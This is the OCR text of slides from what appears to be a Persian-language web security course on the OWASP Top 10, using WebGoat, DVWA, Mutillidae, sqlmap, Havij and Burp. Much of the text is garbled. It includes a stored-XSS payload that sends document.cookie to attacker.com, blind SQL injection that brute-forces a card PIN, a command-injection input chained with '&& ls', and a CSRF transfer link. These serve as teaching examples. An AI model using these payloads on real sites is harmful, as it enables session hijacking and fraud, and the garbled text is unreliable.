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Tools > Browser Tools > Web Developer Tools s¢w &,k |
2,5 svsline |, b S5 ol o StOrage al;

Cw {3 Inspector Console [ Debugger {3} Style Editor () Performance #J Memory 1 Network [ Storage r Accessibility (@ Adblock Plus 883 Application 0J e« X
» E Cache Storage Y Filter Items -|- e [Pl @ Y Filter values
v B Cookies Name Value Domain Path Expires [ Max-Age Size HttpOnly Secure SameSi.. Last Accessed ¥ Data
@ https://ebanking.bankmellat.ir JSESSIO... 0001900e3Cf... ebanking.b... Session CEMOERIL PRI ~ JSESSIONID: "0001900e3CfQLa...mf:27KBBVD5BM"
» ) Indexed DB timestamp | 16229008779... ebanking.b... [ebanki.. Session 22 | true true  None Sat, 05 Jun 2021 1... Created: "Wed, 26 May 2021 07:49:35 GMT"
TSO1a3.. 0126cbe68a9.. .ebanking.b... [ Session 180 false false  None Sat, 05 Jun 2021 1... Domain: "ebanking.bankmellat.ir"

» B Local Storage Expires [ Max-Age: "Session"

HostOnly: true

HttpOnly: false

Last Accessed: "Sat, 05 Jun 2021 13:47:57 GMT"
Path: "/"

SameSite: "None"

» E Session Storage

Secure: true
Size: 48
+ Parsed Value
v
¥ JSESSIONID: Object
0001900e3CfQLaSoHWEquluKrmf: "27KB...5BM" |

» groto 2 Obiect
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w ﬂ Elements Console Sources Network Performance Memory Application Security Lighthouse o : X i
%% Service Workers C Filter (D) Only show cockies with an issue g
€ Storage Name Value Domain P.| Expires... | Size HttpOnly | Secure SameSite SameP... | Priority §

Storage TS01fa3a90 0126cbe68a13453dc4f784a55ac1f2d59a099e770e... |.ebanking.bank... |/ | Session 180 Medium §

JSESSIONID 0001LkAvChxPrdLVP7XivFBuFUK:1745NIAQ95 ebanking.bank... |/ |Session 48 v Medium [

» == Local Storage o

» E= Session Storage o
£ IndexedDB -
S web SQL =

v @ Cookies E

@ https://ebanking.bankmellz -
= Trust Tokens =
Select a cookie to preview its value y
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OWASP/WASC Web Hacking Incident Database (WHID) \
WHID ID  Entry Title Reference Date Attack Weakness Outcome Target
QLC l LS - | bt/ be /201301300 rubny f Code | I Leakage of
puiiventurebest. com rubygem s-orG-NECKEC e Tt - mproper [nput eakane
2015 heroku-senvices-and-putting-millions-of-sites-using-rails-at-risk/ Ls0r201s Injection Handling —> Information Technology

o i Sl )

http:fwannfinancialreporter.co. uksfinance-n
5-hacking-websites-to-increase-website-t

2015-08 (S Vo) ua.?zs 172902015 Linknowem Unknown SPAM Links  Multiple

raffic. il

WHID 2015-0B8: Citizens
2015-088 | Bank website brought down
by Iranian hackers

http-ifwsnwcvb.com/money/Citizens-B ank-w
Iranian-hackers/16291048

Denial of Insufficient
Service Anti-Automation

- 1/Z6/2015 Dowrntime Finance

_. Hacks US Govern ite, http:fmashable.com/201 30126/ anomy mous-hack-governmernt-
2015-087 -
Threatens Supreme website-declares-war/
Warheads'

1262015 Unknown Unknown

Defacement Government

|0|)€.| (5?.(5T )~| "i';l‘f "X:‘. %LN d‘f d.l.o.> s/buny-way-hit-by- extortionist- UFEI2015 S0L Improper Input Leakage of Retail

Imjection Handling Information
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Monetary

Loss

(6.7%)

Information

Defacement
(19.2%)

Leakage
(32.5%)

Downtime
(23.2%)

@ Account Hijacking
Account Takeover

@ Credit Card Leakage

@ DNS Hijacking

@ Data Loss

@® Defacement

@ Disclosure Only

@ Disinformation

@ Downtime

@ Extortion

@® Fraud

@ Leakage of Information

@ Link Spam

® Loss of Sales

® Monetary Loss
Other

\q A5 g 0013 il

ol (o o



() w9 9N (5 519 LYo

oo yu3 slewn slayl il 0929 U
)lfag.& 0)9.0 4 w‘ Mo Lg‘).?‘ Lg‘)-g N
ol 0,8 sl by 4y ol JSlo> L W
2loskel g ylul) &jgo & puyiws 0

aGlfqs 0,5 U

(Pen Test) 485 s il pais B
dox :lozlye W

4 g 0018 ol ol (245 po



99290 Sl 13l 51 Jlwo

Debian ,; e oSsidd 25 Ko O
SG 3,0 g 3988 Cud gla il 5l LS acqexe [

B,18 09z aduus pl o alise (Il Yoo 50> [

.—-——'_ﬁ‘

/,/1\f""

[
-

L

4

W

~/

45l 3 0913 ariol e



KALI S gid

Information Gathering Sledbl )91 poz
Vulnerability Analysis s 2 gl 5JUT
Wireless Attacks o ply OV
Exploitation Tools ool sl )l 50l
Forensics Tools (5 55,0) slabl, salgs cais sla,l sl
Stress Testing ILed Oge)l slal
Web Applications 9 )3 9 Cuns sla )l
Password Attacks (o 9 G ui5d) g SlalS b s o ddas sla )l 50l
Sniffing & Spoofing Jr 9 29 O
Reverse Engineering VTS CY IR T
Maintaining Access sy Jad>
Hardware Hacking D58 s 4 395
Reporting Tools oS adgs slalsl
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Applications ¥ Places ¥ Mon 13:51

Favorites cewl

01 - Information Gathering
crunch
02 - Vulnerability Analysis

03 - Web Application Analysis BasR Pt

04 - Database Assessment john

05 - Password Attacks k
, johnny
06 - Wireless Attacks

07 - Reverse Engineering g, medusa

08 - Exploitation Tools ricrack

09 - Sniffing & Spoofing
, ophcrack
10 - Post Exploitation

11 - Forensics & pyrit

N

12 - Reporting Tools rainbowcrack

13 - System Services

rcracki_mt
Usual applications

wordlists
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owaspbwa

OWASP Broken Web Applications Project

Version 1.2
This is the VM for the Open Web Application Securi
TRAINING APPLICATIONS

&) OWASP WebGoat

&Y OWASP ESAPI Java SwingSet Interactive

&Y OWASP RailsGoat

&Y OWASP Security Shepherd

&?Magical Code Injection Rainbow

&’ Damn Vulnerable Web Application

Project (OWASP) Broken Web Applications project.

&Y OWASP WebGoat.NET

& OWASP Mutillidae II

& OWASP Bricks

&9 Ghost

S bWAPP
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Application

W A B

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XS5 reflected

XSS stored

PHP Info

About

DVWA Security

Script Security

urity Lewvel is currently high.
an set the security level to low, mediumé

security level changes the vulnerability Ieﬁ

high = Submit

PHPIDS

v.0.6 (PHP-Intrusion Detection Systeﬁ
You can enable PHPIDS across this site for tr’

PHPIDS is currently disabled. |

[ 1-1 ]

DVWA: Damn Vulnerable Web
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The mission of the CVE® Program is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities.

Latest CVE News

Becton, Dickinson and Company (BD) Added
as CVE Numbering Authority (CNA)

Fluid Attacks Added as CVE Numbering
Authority (CNA)

CVE Board Statement on Distributed
Weakness Filing_Project Confusion

More News >>

CVE Blog

Chandan Nandakumaraiah of Palo Alto
Networks Joins CVE Board

Chandan, a long-term active contributor to the
CVE Program and current co-chair of the CVE
Quality Working Group (QWG), will continue to
help CVE to evolve in a positive, user-centric
way as a CVE Board member.

Read More >>

Become a CNA

CVE Numbering
Authorities, Total CNAs: 169 | Total Countries:

or “CNAs,” are essential to 28
the CVE Program’s success

and every CVE Record is

added

to the CVE List by a CNA.

i 1
Join today! @

e Business benefits
¢ No fee or contract
e Few requirements
« Easy to join

Learn How to Become a CNA >>>

Newest CVE Records

Newest CVE IDs by @CVEnew

Watch CNA Onboarding Videos >>

Follow @CVEnew >>
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&~ cC © @& https://nvd.nist.gov eee w7 | | Q Search A Y IN@oDe @ o
Information Technology Laboratory

NATIONAL VULNERABILITY DATABASE

General
Vulnerabilities
Vulnerability Metrics
Products
Configurations (CCE)
Contact NVD

Other Sites

Search

+ + + +

CVVY

NVD Release of CVMAP CVSS Version 3.1 New NVD CVE/CPE API
Official Support! and Legacy SOAP

Service Retirement!
The NVD is the U.S. government repository of standards based vulnerability management data represented using the
Security Content Automation Protocol (SCAP). This data enables automation of vulnerability management, security
measurement, and compliance. The NVD includes databases of security checklist references, security-related software
flaws, misconfigurations, product names, and impact metrics.

Last 20 Scored Vulnerability IDs & Summaries CvVss Severlty

CVE-2021-32540 - Add announcement function in the 101EIP system does not filter V3.1: | 5.4 MEDIUM.
special characters, which allows authenticated users to inject JavaScript and V2.0: 3.5L0W

Y4
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&« a o © @& https://nvd.nist.gov/vuln/searchfresults?form_tyr [E] e+« & 1% | Q. Search A Y IN @D e
Information Technology Laboratory

NATIONAL VULNERABILITY DATABASE

VULNERABILITIES SEARCH AND STATISTICS

Sortresults by: Publish Date Descending j

Q Search Results (refine search)

Search Parameters: There are 154,829 matching records. 2 31alslel7 8l

o Results Type: Overview Displaying matches 1 through 20.

e Search Type: Search All

Vuln ID ¥ Summary @ CVSS Severity Zl0

CVE-2021-28811 If exploited, this command injection vulnerability could allow remote attackers to run arbitrary commands. Roon Labs  V3.x:(not available)
has already fixed this vulnerability in the following versions: Roon Server 2021-05-18 and later 12.0:(not available)

Published: June 07, 2021; 11:15:07 PM -0400

CVE-2021-28810 If exploited, this vulnerability allows an attacker to access resources which are not otherwise accessible without proper  V3.x:(not available)
authentication. Roon Labs has already fixed this vulnerability in the following versions: Roon Server 2021-05-18 and 1/2.0:(not available)
later

Published: June 07,2021; 11:15:07 PM -0400
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<« ¢ @ © & https://www.exploit-db.com

Show| 15 j

e Verified
&
]
Date
E .3
2021-06-03
2021-06-03
oY 2021-06-03
2021-06-03
2021-06-03
) 2021-06-03

2021-06-03

2021-06-03

“

2021-06-03

2021-06-03

2021-06-03

2021-06-03

Has App

e & & & & & 1€ |« [« e |&

|

Title

4lmages 1.8 - redirect’ Reflected XSS

Gitlab 13.9.3 - Remote Code Execution (Authenticated)
FUDForum 3.1.0 - 'author' Reflected XSS
FUDForum 3.1.0 - 'srch’ Reflected XSS

Blacknote 2.2.1 - Denial of Service (PoC)

Notepad notes 2.6.7 - Denial of Service (PoC)
ColorNote 4.1.9 - Denial of Service (PoC)
BasicNote 1.1.9 - Denial of Service (PoC)

CHIYU loT Devices - Denial of Service (DoS)

CHIYU loT Devices - ‘Telnet' Authentication Bypass
Seo Panel 4.8.0 - 'from_time' Reflected XSS

PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution

e & % Q search

Type
WebApps
WebApps
WebApps
WebApps

DoS
DoS
DoS
DoS
WebApps

Remote

WebApps

WebApps

P

Search:

Platform
PHP
Ruby
PHP
PHP

Android
Android
Android
Android
Hardware
Hardware
PHP

PHP

n @ @+ & ® =

Reset All

Author

Piyush Patil
enox
Piyush Patil
Piyush Patil
Brian Rodriguez
Brian Rodriguez
Brian Rodriguez
Brian Rodriguez
sirpedrotavares
sirpedrotavares
Piyush Patil

flast101

Yy
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OWASP

Open Web Application Security Project

ool 2l Jgidie 555G Yoo Jlo 51 O

UWJASP

Open Web Application
Security Project
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OWASP Top 10

OWASP Ja.ws.: g O E"‘) LSV"“‘ 6;:&%»] 0O LS’L""’LW" o

el o ,eiS o 2l sla Jlu o 0al 0)18 ool CMe> s azgi b m
AJ}.»LSA ‘).>‘ LS).)J\JMT J..A.> l.> g_i; )‘ OOLD.MA‘;}M: L: W‘ Mo u

OWASP Top 10 - 2013 (Previous) OWASP Top 10 - 2017 (New)

Al —Injection Al —Injection

A2 - Broken Authentication and Session Management A2 - Broken Authentication and Session Management

A3 ~ Cross-Site Scripting (XSS) A3 - Cross-Site Scripting (XSS)

A4 - Insecure Direct Object References - Merged with A7 A4 - Broken Access Control (Original category in 2003/2004)
AS - Security Misconfiguration AS - Security Misconfiguration

A6 — Sensitive Data Exposure A6 ~ Sensitive Data Exposure

A7 - Missing Function Level Access Control - Merged with A4 A7 - Insufficient Attack Protection (NEW)

A8 — Cross-Site Request Forgery (CSRF) AB —~ Cross-Site Request Forgery (CSRF)
A9 ~ Using Components with Known Vulnerabilities A9 - Using Components with Known Vulnerabilities
Al0 - Unvalidated Redirects and Forwards - Dropped A10 - Underprotected APls (NEW)
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Hostname/IP [ isna.irf&& s

[ Lookup DNS ]

[ Results for isna.ir|&& Is

domaln name: 1sna.lir
Address: 164.138.23.7
add-to-your-blog.php

ajax
arbitrary-file-inclusion.php
authorization-required.php
back-button-discussion.php
browser-info.php
capture-data. php
captured-data.php
captured-data. txt

classes
client-side-control-challenge.php

credits.php
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SELLECT2
users
WHERE
username
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(SQL Injection)SQL &,y —Al

sglmap ,lpl &9 B

sqlmap.org ¢ || Q Search

‘ @ View ?roje.'ﬁ on
gq | ' I P GitHub
Automatic SQL  injection ond database

takeover tool

" Introduction()--

sglmap is an open source penetration testing tool that automates the process of detecting and exploiting
SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many
niche features for the ultimate penetration tester and a broad range of switches lasting from database
fingerprinting, over data fetching from the database, to accessing the underlying file system and executing
commands on the operating system via out-of-band connections.
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[

M

Target: (http://www.target.com/index.asp?id=123 | 3 1}
[ keyword:  Auto Detect [ Syntax: Auto Detect ] nalyze
D atabasze: Auto Detect v] Method: [GET v] Tupe: [Auto Detect V] =]
Load Save
Post Data:
(7] i B S iy A
About T ahles =ar] Files ~mid Shel Juery Find Admin MD5 Settings
Havij - Advanced SQL Injection Tool
Version 1.16 Pro
R W) 3 Copyright @ 2009-2012
m By r3dmov3
http://ITSecTeam.com
http://forum.ltsecteam.com
info@itsecteam.com Check for update
Databases: Register
MsSQL with error -
MsSQL no error =
Ms5QL Elind
MsSQL time based
Mshccess
MsAccess Blind
* Status: I'mIDLE Clear Log
Havij 1.16 Pro! -

E L e

L, pl (&2 (B
Havij

¥y
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(1) yB9g> 0,90 4SQL 8,5 —Al

u.uua‘) uLw.> o)l.o..i’.o U‘bﬁ")"""“l" lJMASHTML ’njﬁg.i.s H

Enter yvour Account Number: Go!

Enter your Account Number: 101 Go!

Account number is valid.

Al giroli ool 84lg Ol o e ST U

Enter your Account Number: | -1 Go!

Invalid account number.
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() 599> 0,90 4 SQL &,5 —Al

o2l (ilo U
(L)"")ﬂ} s_JLw.> o)Lo.w) S oo Y g_.»l.wa- OJLAAiJ
2wl account_number clus o less oygiw o

3,10 3¢9 o3l oL Lo (PIN) g (cC_number) ;4w g0 L PINS Jgo
e (9999 1 0000) o3, oz doe S 0,8 12 03lg,35

o=l o D
1111222233334444 o 5 S 0jlg,d8 oSl ®

cC_number pin
1111222233334444 27977

Jhijack &1, ol jleolal b ™
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(*) s509> 0 90 4SQL &,y —Al

Simple JHijack v0.1 beta - http:/iyehg.org -

New Save Results Save Configs Reload Config File Choose Config File Clear Console About
Host: |I|:u:a|h|:|st |
Port: 30 | http: [ flocalbost f'Webicoat/ attack? Screen=4&menu=1100
url: |ﬁNebGnatfattack?Screen:4&menu:11IIIEI |
Method: 1 GET ® POST
Grep: |Accnuntnuml:jeris valid | Qg_w ‘d..u pln ‘_9.39 )Ua.,..a‘ 3)9_,4, 6>9)'>
SESSID: |JBEBSIONID=A5490DECEEEFQ5239E493011BEIEEC[1 < )"'“"*‘ s Al &_, ;SessionID
HijackType: ) COOKIE ) URL @ BODY
HijackiD:  |account_number=101 AND ((SELECT pin FROM pins | account_number=101 AND
HilackData: @ Numeric File ( (SELECT pin FROM pins WHERE
Range:  logoo | - Jagss | cc_number='1111222233334444') = $ )
Result: | |

| Hijack | | stp | | Exit |
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(F) J5095 0,30 4 SQL &, —Al

Simple JHijack v0.1 beta - http:/ivehg.org §§

New Save Results Save Configs Hzlnad&nnﬁn.ﬁﬂd_chunsmnnﬁn.ﬁla_u_cmmsmr | About |
)lﬁb)@)V@ﬂUb)}J‘&KLSMML

Host: |I|:n:alh|:|5t _ 2
RVY ICIWEI TR o 4 ORISR WIWSSUIRK GV LN | e
Port: |BD TV [ v 1 =TI = O TIXX ] — 23311 200 ZoJ0T
W ebooaTatatkSee—Agmenue 108 | FROM pins WHERE cc_numberX1111222233334444') = 2358) 200 29364
Ur: ERLOEUATACE FotTEEN=2 SMEnU= FROM pins WHERE cc_number="1N11222233334444') = 2359) 200 29364
— — FROM pins WHERE cc_number="111N222233334444') = 2360) 200 29364
b8 FROM pins WHERE cc_number="111122233334444') = 2361) 200 29364
— FROM pins WHERE cc_number="1111222233334444') = 2362) 200 29364
Grep: |Accnuntnumt:uer is walid | o _ VPPN, Wi e A e R
. [FRUM pins WHERE cc_number="1111222233334444") = 2364) 200 29365 ==>.<==
SESSID:  [SSIONID=AS43CDRCI6EF95239E49301 1 BBRECIAD _
pins CC_Mimber= T
) FROM pins WHERE cc_number="1114#222233334444') = 2366) 200 29364
HijackType: (' COOKIE ) URL ™ BODY P - :' } w

FROM pins WHERE cc_numbersA111222233334444°) = 2367) 200 29364
FROM pins WHERE cc_nu r="1111222233334444') = 2368) 200 29364
FROM pins WHERE ccAfumber="1111222233334444°) = 2369) 200 29364
FROM pins WHE c_number="1111222233334444°) = 2370) 200 29364
FROM pins RE cc_number="1111222233334444°) = 2371) 200 29364 |

HijackiD: |accnunt_numher=1 01 AMD SELECT pin FROM pinai

HilackData: ® Numeric i) File

s |I:II:II:II:I | _ |9999 | FROM ps WHERE cc_number="1111222233334444")=2372) 200 29364
pins WHERE cc_number="1111222233334444")=2373) 200 29364
Result: |]S WHERE ce_number="1112222333344447 4 23641 ROM pins WHERE cc_number="1111222233334444") = 2374) 200 29364
= FROM pins WHERE cc_number="1111222233334444") = 2375) 200 29364 n
FROM pins WHERE cc_number="1111222233334444") = 2376) 200 29364 d
| Hijack | | Stop | | Exit | 1] | M [»]
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A3-Cross-Site Scripting
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(Persistent) Ll L (Stored) ool o 53 XSS alo>
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Stored Cross-Side Scripting

[ Output Sanitization ] B
<SCRIPT> ... </SCRIPT>

—

Web Request

4
N
O
2

Database

Iy

Server

[ Input Validation ]A

~2ely uoissas,,

the resulting formal sysem ZFC 5

answered Sep 2110 at 3:46

£ Charles
dekh 241k ®4 W52 A116

/ <script>........ </script>

Add Comment

2014 onekobo.com

Attacker
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XSS alo> jf Jlo—A3
g’ //usweu::qQ

I —~ R
POST https://social.com/sendcomment ) Comments:
<script>...</script>
comment= Happy Birthday!
<script> — -
window.location=
‘http://attacker.com/?cookie:" / Response N\
+ document.cookie generator:
</script> Print <html|>
Happy Birthday! Print DB.Comments()
- Print </html>
IR eolB S Sl Sovgr Cals o prles

plod o ol a4 lol5 colan b owilgy B aws o
bl Jald) el aSd ol 4 gy o sla S5
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ples Colo 4 Boss by )5 S5 )95 / el A gl \
SF Ol et 45 355 Ju) i | [ pB
By o0 plpe Cewd Ay Canciis Al (g4l

Comments:
<script>...</script>
Happy Birthday!

GET http://attacker.com/?cookie:SessionID=...

/ U 75 55595 \ — T
. — /" Response
<ntmi> _ generator:
(. <script>...</script> DA [
L Happy Birthday! Print DB.Comments()
</html> Print </html>

N\ /

GET https://social.com/comments
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(NonPersistent) Lk . L (Reflected) U ;L XSS alos>
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Reflected Cross-Side Scripting

Reflected <SCRIPT>

[ Output Sanitization ] B

<SCRIPT> ... </SCRIPT>

[ Input Validation ] A

Server

Web Request

. o & :’).le 6‘ ..=
pb b 50,8
FirstName-LastName
.Q)LA.; S9>¢

Mely uoissas,,
[=)]

First Name:|  <SCRIPT>

Lasl:Name:l <SCRIPT=> 12014 onekobo.com

Attacker
Luginl
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A4-Broken Access Control
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A&

OWASP Top 10 — 2013 (Previous) OWASP Top 10 — 2017 (New)

Al - Injection Al - Injection

A2 - Broken Authentication and Session Management A2 - Broken Authentication and Session Management

A3 - Cross-Site Scripting (XSS) A3 - Cross-Site Scripting (XSS)

A4 - Insecure Direct Object References - Merged with A7 A4 - Broken Access Control (Original category in 2003/2004)
AS - Security Misconfiguration AS - Security Misconfiguration

A6 — Sensitive Data Exposure Ab — Sensitive Data Exposure

A7 - Missing Function Level Access Control - Merged with A4 & A7 — Insufficient Attack Protection (NEW)

A8 — Cross-Site Request Forgery (CSRF) AB — Cross-Site Request Forgery (CSRF)
A9 - Using Components with Known Vulnerabilities A9 - Using Components with Known Vulnerabilities
A10 - Unvalidated Redirects and Forwards - Dropped A10 - Underprotected APIs (NEW)
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Please Login s 4o (TOM) ool wine IS S 89,9 O

| | Tom Cat (employee) v |

Paszward

o) e L:JLC:>LL9‘ el sdaliw Sel O
B ot S S AP &
T"ﬂﬂ‘ Welcome Back Tom - View Profile Page - ]ﬁ
[’m b PSS PRl o seall LsBE e - ] First Mame: Tom Last Mame: Cat
Select from the list belai Street: 2211 HyperThread Rd, City/fState: Mewe York, MY
Fhone: 443-599-0762 Start Date: 1011999
SSM: 792-14-6364 Salary: sooo0 |

Tam Cat (employes)

Credit Card: 542813605857968521 | Credit Card Lirmit: 30000
comments: Co-Cwner,

SaarchStaff Disciplinary Explanation: Disc, Dates: 0
ViewProfile Pl
106

Manager:

b =

r -
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Please Login . .
| | David Giambi (manager) v | | W 4—? (DaVId) )'.’.M &S-i 09)9 D
Pasgword [

e 5 5 0o s Sledbl il g 5 sonlive Sal O

Tri@ welcome Back David - View Profile Page - ]ﬁ
(4 Welcome Back David - Staff Listing Page - | First Mame: David Last Name: Giambi
Street: 5132 DIMM Avenue  CityfState: Mew York, MY
Select from the list below Phone: 610-521-8413 Start Date: 5011999
- S5M; 439-20-9405 |=alary: looooo |
Ericalker (erployee] Credit Card: 50281754825018101 Credit Card Limit; 10000
Clasid I._q'na.r'rutn (manager) ComTETTE T arT Dﬁi}u cctionahle ethics.
Bruce M;Gmrre (employee) Disciplinary Explanation: Disc, Dates: 61402
Sean Livingston (employes) [M] _ S o '
Hacked into accounting server, Modified personal pay.

| wiewProfile |

Manager: 10z

™ -

e
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(1) oy J 55 o Jbo —A4

:ng.o.’.o 43.0)'5 O §O )Lu O §g0 CSLQPE N
(2 o) Burp Suite o 5l LL3 | 6l 51950 STy oudas =
i o (TOM) o0l 3o )5 G 09,9 =

Burp Suite , Intercept 5! ;o5 s =
[m welcome Back Tom - Staff Listing Page :] _ LsJLM, ‘ LSLQOQ‘Q A_JS g_,gsl_,)o .

Select from the list below
e 4y 438l il 3L 0 slaosls Jlu)l s
43l il 3> slaosts S,

ViewProfile ,gws o>l =

e Al g ool Cucwl i
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Ar

() (g s J 55 s Jlio A4

BurpSuite ;s culs céb 0 aiws slo sl b Slols O

: | Burp Suite Professional v1.5.01 - licensed to Larrylau

Burp Intruder Repester Window Help

[ Tarcet T T Spider T Scanner T Iritrucler T Repester T Seguencer T Decoder T Comparer T Extender T Options T Alerts ]

_[ T History T Options ]

Reguest to httpeMocalhost: 30 [127.0.0.1]

[ Forsward J l Drop J | Intercegpt is on | Action Carprnerd this iterm IEJ Ii'J
J Ry T larams I eaders I Hex ]

IEERREREREEER RN REEERERERRRERERE]

POST /WehGoat/attack?Screen=141&menu=200 HTTE/ 1.1 ™

Host: local
Eiiz;ig?iﬁ& .%(5»0 leLM))‘ 4—:—&9\-3 )&) ‘) (105 QA.C) 09?' k};.u))i O)LQ.«:J Tom

Locept:

text/xml, application/xml, application/xhtml+xml, text/h
Lecept-Language: en—-us,en;gq=0.5
Lecept-Encoding: gzip,deflate
Locept-Charset: IS0-82359-1,utf-8;q=0.7, %,
Feep-A4live: 300
Proxy-Connection: keep-alive
Refersr: http://localhost/W oat/attack?Screen=141&menu=200
Cookie: J3ESSICNID=ESS ZCDEL13ECIZ2030CAETADABAST
Luthorization: Easj] AV1c3QEZ3V1c3Q=

Content-Type: lication/x-www-form—ur lencodsd

Content— 34

T=0.9, text/plain; q=0.8, imags,/pong, */ *;q=0.5

employes id=l05&getion=ViewProfile

-
L)

w I;J LJ = Tipe 2 search term O matches
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LE’LMJ 4 L> JJ‘QLSA ‘) u\m)lf ).:Lw GJ.W).: o)Lm.f: Tom =
.0)9'.:?.3 o d.:‘s.:GA

Tri@ Welcome Back Tom - Staff Listing Page » T _

Select from the list below

Tom Cat employvee)

SearchStaff |
“iemwProfile

|, ViewProfile 4 as>l 0 595 S axio 4 5o LSS O

*e
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Sgis o 00l 1os5 107 4 105 51 L s o)l [

: | Burp Suite Professional ¥1.5.01 - licensed to Larrylau

Burp Intruder Repester 'Window Help

Target T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options T Alerts ]

J T History T Options }

Request to hitpoMocahost 80 [127.0.0.1]

||| Forsward l [irop J | Intercept iz on Action Camment this jtem =' LEJ
J gy I ErAms l eacders T Hex 1

———

POST /WebGoat/attack?Screen=l4l&émenu=200 HTTET A
Host: localgost ol |

User-Agent
Firefou/1. e . L,_g L& lS 4 . ‘L . .

LAocept: . Lo.’ J ‘ ‘)S ‘ a8 Al
text/xml, aj - L5‘° ) J - ) "M * w
Aocept-Langme e e e e IE

Aocept-Encoding: gzip,deflate

Aoecept-Charset: IS0-8855-1,utf-8;qg=0.7,%;q=0.7
Feep-Alive —0n0

Proxy-Conns

peteren M S gd oo |y 107 0o (105) 045 L 3 o)lels sl> & TOmM lac

Cookie: J5H
Authorizat]
Content-Type: applicat] ww—form—urlencodesd
Content-Lengt

employee id=107&@ct ion=ViewProfile

X

7 = + = Tie 2 segrch term 0 matches
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<?php

172.16.67.136/mutillidae/includes/config.inc
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NOTE: On Samurai, the $dbpass password is “"samurai”

PLEASE NOTE CAREFULLY: TEIS PAGE IS DEPRECIATED BUT
HACKING TARGET. THIS PAGE USED TO DATABASE CONNECTIO
BUT WAS REPLACED BY THE MySQLEandler CLASS.

*/

//Sdbhost = 'localhost’;
//Sdbuser = 'root';
//Sdbpass = '';
//$dbname = ‘owasplO’';
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1- Login (ID/PWD, OTP, ...)

2- Set SessionID=189345
' g 3- Send SessionID=189345 with transfer request:
https://bank.com/transferzamount=1500&t0=4673243
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1- Login (ID/PWD, OTP, ...)

<€
o 2- Set SessionID=189345
F
l‘ = 3- Send SessionID=189345 with transfer request:
A https://bank.com/transfer?amount=1500&t0=4673243
L
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4- visit a page on attacker ‘s website containing
<a href=" https://bank.com/transfer2amount=1500&to=attacker-acc>
<img src="https://attacker.com/some-interesting-picture.jpg"/></a>
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1- Login (ID/PWD, OTP, ...)

i <€ >
© 2- Set AuthCookie=189345
| =
¥ < 3- Send SessionID=189345 with transfer request:
A s https://bank.com/transfer2amount=1500&t0=4673243
) >

5- Send SessionID=189345 with transfer request:

https://bank.com/transfer?amount= 1500&to=attacker-ac§
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4- visit a page on attacker ‘s website containing:
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Encryption Based Token =
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A9-Using Components with
Known Vulnerabilities
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CVE: Common Vulnerabilities and
Exposures
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CPE Info
Search CVE List Downloads Data Feeds Update a CVE Record Request CVE IDs

TOTAL CVE Records: 154732

The mission of the CVE® Program is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities.

Latest CVE News Become a CNA Newest CVE Records

Becton, Dickinson and Company (BD)_Added CVE Numbering Newest CVE IDs by @CVEnew
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CWE: Common Weakness
Enumeration
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CWE™ is a community-developed list of software and hardware weakness types. It serves as a common
language, a measuring stick for security tools, and as a baseline for weakness identification, mitigation, and
prevention efforts.
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